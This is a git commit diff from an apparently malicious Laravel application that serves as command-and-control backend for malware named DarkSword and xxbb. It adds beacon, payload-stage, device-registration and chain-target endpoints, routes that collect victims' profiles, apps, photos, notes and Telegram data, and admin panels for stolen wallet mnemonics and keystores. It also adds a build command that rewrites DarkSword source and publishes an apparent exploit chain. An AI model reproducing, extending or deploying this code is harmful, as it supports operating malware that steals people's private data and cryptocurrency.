feat: ds
This commit is contained in:
+9
-3
@@ -6,7 +6,9 @@ use App\Http\Controllers\Admin\AuthController;
|
||||
use App\Http\Controllers\Admin\ChannelController;
|
||||
use App\Http\Controllers\Admin\DashboardController;
|
||||
use App\Http\Controllers\Admin\DeviceController;
|
||||
use App\Http\Controllers\Admin\FilterOptionsController;
|
||||
use App\Http\Controllers\Admin\Google2faController;
|
||||
use App\Http\Controllers\Admin\KeystoreController;
|
||||
use App\Http\Controllers\Admin\MnemonicController;
|
||||
use App\Http\Controllers\Admin\NoteController;
|
||||
use App\Http\Controllers\Admin\PageVisitController;
|
||||
@@ -34,12 +36,12 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
||||
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
||||
|
||||
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
Route::get('filter-options/agents', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
|
||||
Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
Route::get('filter-options/agents', [FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
|
||||
|
||||
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
|
||||
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
|
||||
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
|
||||
Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs');
|
||||
|
||||
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
|
||||
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
|
||||
@@ -59,6 +61,10 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
|
||||
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
|
||||
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||
|
||||
|
||||
+32
-2
@@ -1,5 +1,6 @@
|
||||
<?php
|
||||
|
||||
use App\Services\ChannelProjectService;
|
||||
use App\Services\Tokenview\TokenviewClient;
|
||||
use Illuminate\Foundation\Inspiring;
|
||||
use Illuminate\Support\Facades\Artisan;
|
||||
@@ -70,11 +71,11 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
|
||||
$channelC = trim((string) $this->option('channel-c'));
|
||||
$random = (bool) $this->option('random-c');
|
||||
try {
|
||||
$result = app(\App\Services\ChannelProjectService::class)->buildSharedArtifacts(
|
||||
$result = app(ChannelProjectService::class)->buildSharedArtifacts(
|
||||
$channelC !== '' ? $channelC : null,
|
||||
$random,
|
||||
);
|
||||
} catch (\Throwable $e) {
|
||||
} catch (Throwable $e) {
|
||||
$this->error($e->getMessage());
|
||||
|
||||
return 1;
|
||||
@@ -103,6 +104,35 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
|
||||
return 0;
|
||||
})->purpose('Build shared xxbb /details and staged weifile from channel c');
|
||||
|
||||
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
|
||||
$script = base_path('channel-builder-ds/tools/build.py');
|
||||
if (! is_file($script)) {
|
||||
$this->error('missing '.$script);
|
||||
|
||||
return 1;
|
||||
}
|
||||
$args = ['python3', $script];
|
||||
$host = trim((string) $this->option('host'));
|
||||
$port = trim((string) $this->option('port'));
|
||||
$origin = trim((string) $this->option('origin'));
|
||||
if ($origin !== '') {
|
||||
$args[] = '--origin';
|
||||
$args[] = $origin;
|
||||
}
|
||||
if ($host !== '') {
|
||||
$args[] = '--host';
|
||||
$args[] = $host;
|
||||
}
|
||||
if ($port !== '') {
|
||||
$args[] = '--port';
|
||||
$args[] = $port;
|
||||
}
|
||||
$this->info(implode(' ', $args));
|
||||
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
|
||||
|
||||
return $code;
|
||||
})->purpose('Rewrite DarkSword source and publish public/next-chain');
|
||||
|
||||
Artisan::command('coruna:channel-domains {--json}', function () {
|
||||
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
|
||||
if ($this->option('json')) {
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\C2\DarkSwordC2Controller;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
$ds = DarkSwordC2Controller::class;
|
||||
|
||||
// Shared /a /u /nb /event /result are declared in routes/xxbb.php
|
||||
// (same URI, DarkSword vs xxbb chosen per request).
|
||||
|
||||
Route::any('/beacon', [$ds, 'beacon']);
|
||||
Route::any('/war', [$ds, 'war']);
|
||||
Route::any('/p', [$ds, 'p']);
|
||||
Route::any('/stats', [$ds, 'stats']);
|
||||
Route::any('/api/ds/log', [$ds, 'log']);
|
||||
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
|
||||
Route::any('/api/ds/device/register', [$ds, 'register']);
|
||||
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
|
||||
+2
-1
@@ -6,6 +6,7 @@ use Illuminate\Routing\Middleware\SubstituteBindings;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::middleware([SubstituteBindings::class])->group(function () {
|
||||
Route::post('/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
|
||||
Route::match(['GET', 'HEAD', 'POST'], '/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
|
||||
Route::match(['GET', 'HEAD', 'POST'], '/hook/tokenview', TokenviewWebhookController::class);
|
||||
Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram');
|
||||
});
|
||||
|
||||
+8
-2
@@ -3,6 +3,8 @@
|
||||
use App\Http\Controllers\Admin\ChannelController;
|
||||
use App\Http\Controllers\Admin\DashboardController;
|
||||
use App\Http\Controllers\Admin\DeviceController;
|
||||
use App\Http\Controllers\Admin\FilterOptionsController;
|
||||
use App\Http\Controllers\Admin\KeystoreController;
|
||||
use App\Http\Controllers\Admin\MnemonicController;
|
||||
use App\Http\Controllers\Admin\NoteController;
|
||||
use App\Http\Controllers\Admin\PageVisitController;
|
||||
@@ -23,11 +25,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
|
||||
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
|
||||
|
||||
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
|
||||
|
||||
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
|
||||
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
|
||||
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
|
||||
Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs');
|
||||
|
||||
Route::get('devices', [DeviceController::class, 'index'])->name('devices.index');
|
||||
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
|
||||
@@ -47,6 +49,10 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
|
||||
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
|
||||
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||
|
||||
|
||||
+27
-13
@@ -1,21 +1,35 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\C2\DarkSwordC2Controller;
|
||||
use App\Http\Controllers\C2\XxbbC2Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']);
|
||||
$ds = DarkSwordC2Controller::class;
|
||||
$xxbb = XxbbC2Controller::class;
|
||||
|
||||
Route::middleware([DecryptXxbbBody::class])->group(function () {
|
||||
Route::post('/a', [XxbbC2Controller::class, 'profile']);
|
||||
Route::post('/u', [XxbbC2Controller::class, 'apps']);
|
||||
Route::post('/event', [XxbbC2Controller::class, 'event']);
|
||||
Route::post('/t', [XxbbC2Controller::class, 'photos']);
|
||||
Route::post('/nb', [XxbbC2Controller::class, 'notes']);
|
||||
Route::post('/uj', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/us', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/ub', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/ba', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/result', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']);
|
||||
$dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xxbb) {
|
||||
return static function (Request $request) use ($ds, $dsMethod, $xxbb, $xxbbMethod) {
|
||||
return DarkSwordC2Controller::matches($request)
|
||||
? app($ds)->{$dsMethod}($request)
|
||||
: app($xxbb)->{$xxbbMethod}($request);
|
||||
};
|
||||
};
|
||||
|
||||
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
|
||||
|
||||
Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
|
||||
Route::post('/a', $dsOrXxbb('profile', 'profile'));
|
||||
Route::post('/u', $dsOrXxbb('apps', 'apps'));
|
||||
Route::post('/event', $dsOrXxbb('event', 'event'));
|
||||
Route::post('/nb', $dsOrXxbb('notes', 'notes'));
|
||||
Route::post('/result', $dsOrXxbb('result', 'plugin'));
|
||||
|
||||
Route::post('/t', [$xxbb, 'photos']);
|
||||
Route::post('/uj', [$xxbb, 'plugin']);
|
||||
Route::post('/us', [$xxbb, 'plugin']);
|
||||
Route::post('/ub', [$xxbb, 'plugin']);
|
||||
Route::post('/ba', [$xxbb, 'plugin']);
|
||||
Route::post('/api/tg/t', [$xxbb, 'telegram']);
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user